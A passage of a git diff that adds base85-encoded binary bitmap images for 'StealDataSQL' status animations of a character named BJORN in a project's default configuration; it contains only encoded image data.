zsAVRqlnKKQRF}49q$fFfLHVSRhUU*|t1_b#P35#9)Xa_s7Sp4XKMMZ8-#={vynfIV zSH?NR*N%_LTJ4d>H;+q7C+eD~1(-PsQ*$oPniLcz!6wkyHdk3YGrfNTdT{QT)b*@a zf|_TfZ|J=mpaU#y!T%v{qvQd=sP_&QJj_I zZe%M!$-;Au#@`8nHg{tE?zR{$H_Fzvs-z5z`R{N4C(!rTf0~(_dL_>wSXcLSo^r4@kb7O)P!-mZNz z7Z;r=P0tT@(?2BO=U72qpce=WT|osL%D=JwP4CNfFslK(`r?8uRG^0kKNFxIYT?~= zAn~+^LNGo`Tw;>+yoIURpy)y`P~SK4_RWe4r+8XsF<7dCnZC8}P0RBoYZEJ&sU2ts z9PexXH1lCrP%AMwQb|arqkpOC*#Zy=Ix#h)ScOCM?Gl(_Kk-6W$-PAdMLYmzt)wRq%?V1*$$5~g~PUtHbV{dQvG z5D0GX8y3F9(cOCC_xJBqIPLMO!m^IWR&eD*26$KbXMdfVtTL}if(bG*_h#;hG_<($ zY-lYqG+u#Ic=e-3_$VuwFY&Hk>LLomuXkQdtpn4}?(FKwXoMp0WKA#f{{CO}{uEGh zqvTj{P&ab4a9%tH>&27jctv=wupy=bQAo9nixNp-XMx~7}9gb}r zf{=|0OO$66IN09@V*i!kJXe4^AJOPz5>6XjUU&n!$y8iY1A=vQZGU3<0PX;nVCLCa zUH`a3A7wq$C?h(B^*ZIV&i=VQ67ZS+nRy5e8(0Gar9M&RkKuf*?5w#spAZ>Nk(uq? znS+yseNuTz72~zLO;z>3sLw}P&)NlR7H2&xRX&NOmAA78B+#24)*et%d9Z-{53>S& zz_2LFz!4Ri@aBXxe?*!bn-rvZ5Qg^qMNm-T9IT)gScS@P3Ah+qY#*M?ACnq7``Esx zeAd(sivGh#2{Di38g1X~5>R7fdrw0^+E7mO0BlE`BcRU53V^`JL=ZX_l)c;9?*78z zv8I?B(#q+gUj+WTjyc)i-8Yg`cd_#X8{mtp8%FZ#a@<1a|0@36tU%44_7}Xg%qTmT zox`JoiaHT0&X;57-G}~ll<)2aTP%>n|eL9Vys z#Y1{FcXPYNl{G~H+3bY0^EU-*e)4g)<|4SGOmt0`R@QYTl;n7YUQN6t3;g)t`;#Uw z!1}KH#s-Gvcmxe)G&RKK5mqjssb4wK{zRJ(W`X6vnpIz1%~V}akylJ#N_Fw|h5w=B zBCPKJFWTC# YtPebSc>yeE$j3Qj^sMsP`O>BT1#fPDX#fBK literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL7.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL7.bmp new file mode 100644 index 0000000000000000000000000000000000000000..a47321891dcb284824ca1c75794c9a9b96e5431e GIT binary patch literal 18462 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 KOgdk=@_zy0siRl` literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL8.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL8.bmp new file mode 100644 index 0000000000000000000000000000000000000000..b68803ad8ce1bbc8dceca07f4140ba2d711b707a GIT binary patch literal 18462 zcmd^`cU)9Sw)mO1`*vq%XWq={IHMzq3P{dK?54>ybdx0KC>hBanoiJU$)MycIZ0N@ zDk@0MNfadqku3D9?sjX-KYWP5L?BSeFNY8W@*DYBB0~NI6=DA(zg+#B3&Gcq z*MKJea5rI8RK)*pjz5KUf1kL&N8I1p-&xz+nE$XgwYxmBv)H#i-@P^4u`~N@d!}vc zZQJIX$6Ie60oi=>Xk+@(=JcbDH;*^pJlT9pD&3xWwl(`=YrcDDv43Y}ba(C5-sZyo z?t7q?NYcOm$4&CNtowUAyPHc}%VV2w+SVp(*M^JM`m^8lrmc1-u5`t(bjAT$ei66a z5x?3QztVM^B%OCY%8NTIzmjEAe*6lk+#U}u0SS_TobII6p7hoJoYmoywTb&1Z=Y?h zOzv*3?C*d0Jnqk8-FY|texiD{KV!K&VHH4h-&yTSTqSia`4>r9=}vyvm$osOvDTly z(w*|IH+2`gWtn_ESpM0>h zKKB{8CuiN?+g=?iSa}h(3P5{P-huA-rjgDhNjZ?6(X55%cLpj$rdndQ#OL?oI(k8$+2B^-%*=q05~q+rwF)h*aUDkOu}RCk+okzq8U2u{vJ! z89se-Rw9U?cQ4n*D^~k5S9-wEC%o%Pd&5_LYev+lv2T3LbveuurHIms^6=nq&6*|u#e3@1LDtk?=`{qz4Y4Awn0pJo> zUL;WLy401l(wDV1S+lb~`ya6@rIG#pz1@wu?WN(3w{7c_b?-+?-VJ1v4BVZxJDQ#w zc$1HYDLOH$y0bqizfSU+x~>p(`ceE+XVOet{Oi`Z>DIWnZMT7$2dctk7-MXf-NmQ7OT9ZQV>_FRpJ7o-pFhX0za3J5y|=Tz zx3vO>dwXSUY2v90pOBkNQt87z0=~=Lwn|eHOaIpk2qsQNwrlXKoYM5{K;Tz7lsWh$ zE;BRyo!(F(!riVWIH<3pdB;%8!%A6xbG~J3o4vA!AV<;U|AmlT6O?201nGEZee$#0rF z{?|W`m9heMwzaE?$O(K$kGRaO#s<~mlGNl9S7#Tw&Mc_F$S2RhD@VsAOUofk$AO^d zl4syiWad+55maRpQDYZXXA`~7BqVm0h2<-1b0xjpge*%{1Ny(6SK>#Rs8kp#+EB2E5X0tiX7@00=?H3E<>t zIc2YK$XsTZqG5&pNDuqzDww%suCU3{vcqXPc)z0&zrd`)DWt^>(cpl>uW-PAVh}yY z1Uq|G`ZA}?6&^8a7IA78=_}mg)XcDRjNq%#8G4?xbY502D@)7AH0__qy0N}tjL;A} z$E?dG4zK_pf{qJG4}@FcDi1iz(sD{&WaImW=Gxb^JYQWF`0lb44I3B?*f}QFzn?c3 zm2^{9bd-~GK_H!Ek?u-LuJTBCd88{6=^zJpS5|P5M>xpIcq%En$s^t5<&6bJjRb^w zzq^2U^8WDQ1MwI$)@QSl-DYuaF(*DX!q>m9sJuL%{KrL!^So|KcJ^`>LZ?}|{z(J*k%8kY8iv382tCgn<>HYW8k!Rn z?bbz>im@&U31<3IPw4xy%8lC9%p~<>o&{$M~1Cy#I5B z?QcILXhpC(UjF*N1VfCsnv?8hh$52&(_ep?4 zvhvn)3I@Uw+5%!$a!N*`aP@0YbGW=E9BCnoydf?N{D%D>=e5NY=iZW6+#>_`53nYN zL_@FgJ(`-X?c8>;8Rh$40CAa1k?|UcMUH=55IjRKevy^?Ya0Gj%pyN?(^H+1ql4o0 zQFvV+jBOakGSFYo2czSOH}H|A6V??_#Tobr{>UNE$my@EZV#7nltbFXkq$BlducgG z8HAHG++Iq`L0Z}wj&PKbbA%(DW#yb?WO16R*5c9}fBz{O7Ya;!^d$9ptoy|6&23`^ zbzgMYD3SPJaG!wNk)+drouLys!@&9F1&)8vuzz)d{mb)W)O_9=t_DJCLO-&jwLSgx ze6ZFb=)gj>UoO@v7-#B-(?_`~**eNw2buaA32RASV0KnO1Y&IR%Y9RF>{7BFQ?eY= zvfZ-s@OO&>^NI;s`JNfMu4y?S-##tV(?vzuO-@$+3Y&$Z{@&i+(VqNytVH7K(yE3C zG9kTWcy})4nSkEaWIqQJXK86I4gn=jv5#(iIPd4OZf|Z`T-Voz zYnUqPb9{AyKG-2`<6} z0?;CCa3MCd7>`cJ==oxFeDHcGFLf7z(~P!~GB_vGmY4q3eRiF5spFdslRHgaGZjf0 z*zA&!p_TjN+x27HEuD**Et4Mc;m&~7L_kD>hT~wlJ&g8qS%JPVFMnF9Z(0BH6ZbcC z>|b4C{rg2zsE)rO8msH&h_D2%3k(KkB8;vV8dy%(2kViD2`R<~7GOz6Ed;C>3a(QO zTH6b2d&>`%CQ2haRs~xZ!SS=dgs+-ztEUSz0bTIaHGi&M2n*2~dw$s?V znpfGSm0O5$k(0B6iHZNrl#`Ho7$qhD53oKguVek@g1`?f=HmLS|Gc2aiSReTV6;6k zI$n6-t~%Zr6F;<1imz=LR?`D(9SY0|KyiRIFdrM3hYiXnnKq;dPsqiX2cq%WelgWZ zL3LF&Zu{$swe8_e6CRU04LvjWw4}uY18v_DTc$rWVZ6=tkdl2%Rg=39t2?zzAG&#{ zsoF_MN?%~aJNW$DSbLsz@=-I`!cD!@ogrsAywzQCx+she3ajIT)$+m^V$t{lBy)+!_X!K;!uH}tg z>x|>$d8gJ{r zy-A1{9(JC`Umt_j_r)0dVYIz*hB&g*7UL~LvEC_Uqy8GVfP_vK()vo4kF0>3JS~%k zC#VQ|iQh(C{3cQ^2xS+FvJFMqgrKZ}g!$TpqO3xFEkn>2p*ZUh99W+%!w6PRMruw7 z8A}l{$f-*S!7+gKupPz8?Yg_OyR*Hc!Y8f8qew8oqD}pMebcb|XpCdDZ*UPhxESx1 zg7MD<)*{(2-~bV%flC(w6N1H+w8RFG1QT3? zN1Q&&zt#Gu&xr0mtDl|L_D zfifKl1rrf1S4BHFB?r8Y59a1AU{^G7Lg2K(MM-}9f2`P`V*l_;LPQl1d_)B{xEM@8 z{*hJwk(D5g4KDGEsPqr7@{gzllQ5aS$Ty$}7g|n;stO=UbwG3_0Z3F8!7)0(2um=+ zg_#E_GKizCU5~)}WYGzI7(}YAhOq`0BFMxK3zkwXFYL{542hNEmcV8d*Cm+~8&rY` zD$%>{AbU+o5vF6L?cw8}izeh+n4ql9@qo+|ovx?qC=bz+y{2rc=Zy_51J(sr2gdd# zkOa5__=*ZD@D0cX69bs)(OO<$$0BBlXJ^_WeuzP_qwZZWZz!})aKcYG`u1CvxGM%td}3K4p1UNjMiGBDo1@z=f3u#MTDI-4BSa#e|l56AFERuY?p~ zEQ3i~6m4&C?+ZK2l^&Hqf;h(Gh|glBTvU};0z1dyr-#CUl~vmZ>z?2nR1_Ff6QAA~ z5mDgh6NB*x55V3Di!2R^D6-af<~z$`Zios*rQyv8j+(C5Igv_Swu+qQYP3X3TZxmDngj>EX$^7D<4j4p~xZvqaF3M#}oMBy}j@CImZYNCwv?tcr&wS}oWFmZ7^^HHrVfqH@bk|N2rIQR^0K$Y2ZWd5aoK46U2IsHFdZ~D zx!BVUC&dnK2zBjEoZM`DtaWX4WK{IvT45pSQK=0W-*lX9WS~Wm2}Dzvnl&#WbEv!j zckfw$Jq*WVrOe`e9o?+oQ?q|XBlrWeJUxtHN3KuY-NhlkkK93 zA`a~k%bL4$DqCxxcJ(i;yja{XYg~$s&lhJF@pSgPmC}GgrDF9^Vn1^WpJ8YC>rWz= zIcKM5NHj-2dO5&79xGYh{)gS&jOawc^K4csj*cp>XkDzocbb!16#rT1-HM5lYGP{Y ze*Eo6l0u@)Ur}>?cSRGaS=!V+wnt3LDVO3By%m`k9-fKdl~jXiszB6~Ac)(EWjO3@ zX>PHS#^)nD#Ejy4d6*pg*EG!ETu_oxNKPF{N#3h!BE}>><~t|ggU`Ub-0{}*ankTK zk~I^#%vD`je!y{@#IadP%E%MJ?Z9xJvn(DCQT`rD1dkLYacy})o94m&$K!i>6=VEY zc;Os^&`a!B|LY75)jyE}(ruG7!`u6bS*2YJ-y{2h}IF2?X!-n>X;> z)QrU$cMrOB98gf_M6AE)BshApouc>fOb8Axkz^9rM+SGy6Nf$!{rqAtQ+=b%DKHoF$L`rZ?}mq;?OMtm{5(X+JOzeXI{Ci>%|FH(IC zF1bYYoeYx@oJENCzrRn&C>i-cY#rN2^4TasRYSw?+1(6bJWZVzbsO~Mu>H|5-Tdw6 z30W!Xw>G!DOzog_LWEnzVvJ%&O3^RoiTxWyM{6`a)oJ=K&M^M>PkK_y+F}YX;=CZ4(0m z?f^s5|JNBiP1Cj2cMG%gx}u5+=@kR(L@*d6&;?@mN8J7H`H!qG=Jp3Sh&Wt~y|(Gb z`}OIUuhn4)poH=7XOpt;0oK+LqMU%ElDIm8|GKZG6R8g;Sym7F{JE^)ZYL=?hVy^u zxxZ)7L&Q9NP3(P7Z0Mg9V;BC3>Mu?@X73i4yIR{k%spDir@NOwf>Kz!=7|8b>lapF z-QE>qZTqmdrN_&m;knmuHDPi;QhlK!dj08}Rg&61B9hmY=SN2F(+u}=iVymJ(!^)6 zE-fs%8ri@uaIk$zO;7c`u5@h62(f2qaPP>g;_-GAczr zI`ABDX<{e&3=))d&k8ZCv=QTkvs5w=zQSg#ZTfIvw10EIZ)30KDG|x#Mo;xESnk9w z^8~tKKoFf26x2ThCLF5D}+Pkh)ztRLJiX&NtX z>U;8Lt#_T+y-EbQeL&Vo(*K^=w@MN)C6O|LfC{TbV0%!xWpbh5VQ*RM%f_Mox(;GN z4KXwSLwL}8IEytM)pyK)J8!^;;5>8bQGFBW`+sC^sx7UOzH%+b+RIQ7DSn=d_d6zm zAH-l6_2oD`)nG9u*Gue7pZK_p24JVdf@Wi4mlKlTr)F+s=56N`?&Oy2-Ywn9DcQMO zypvt9lW}(|HDf&?X)P*xDKub)fSLAm8nQ8NHB>B6fri6bouSlP;5X}Q-!VyFiJKwl6+@kcwFQn`yG3qSS!~EGv{zK7p#VBWfpGk5`M$!_D#4gh5we?ofiL|f_Ft~x$ zF+yqR`Dp6k^bNJRg^dKo@cM?{>e?U^6a^TX-!i}HuA~)Z>6GDx%f$thhKAQCB~?bp zIw5pSp~z@!H?)cYPR%&l$`yK^{nf-2iSu|{!-EkyDJ%KHwuV-|bM&dMm=FW&KwWc` zs*#zDy0wh@!_4^pmcs6bc|8yFyC3A)A(VA_#ET+B1{+IyYV&&P@_MQZ2!@u(OV{Kt z^Tj*4_uVh-zMt1sn>W~0nvC{QXN92j^aq-Ydw_=eyusF@;;3LtDRmQx>o{$5KP{68 zGy5njSN2iC}+kzdWlzOA^8H)kPIn5qoJhyw;5rFWenZzw+R? z!TPe1w$g#7g5HMQ?uU1yT^(>n=9S4|JrD1;*JSiJ=f!$D!_KpLXqnxV*A_j`nir1m zZOm=2&giMn&5QIy8{A07y7x8Zfy)P)3rC-p_f!`b`bXXN#3#9-QL2Wv5~@gg0rsyh 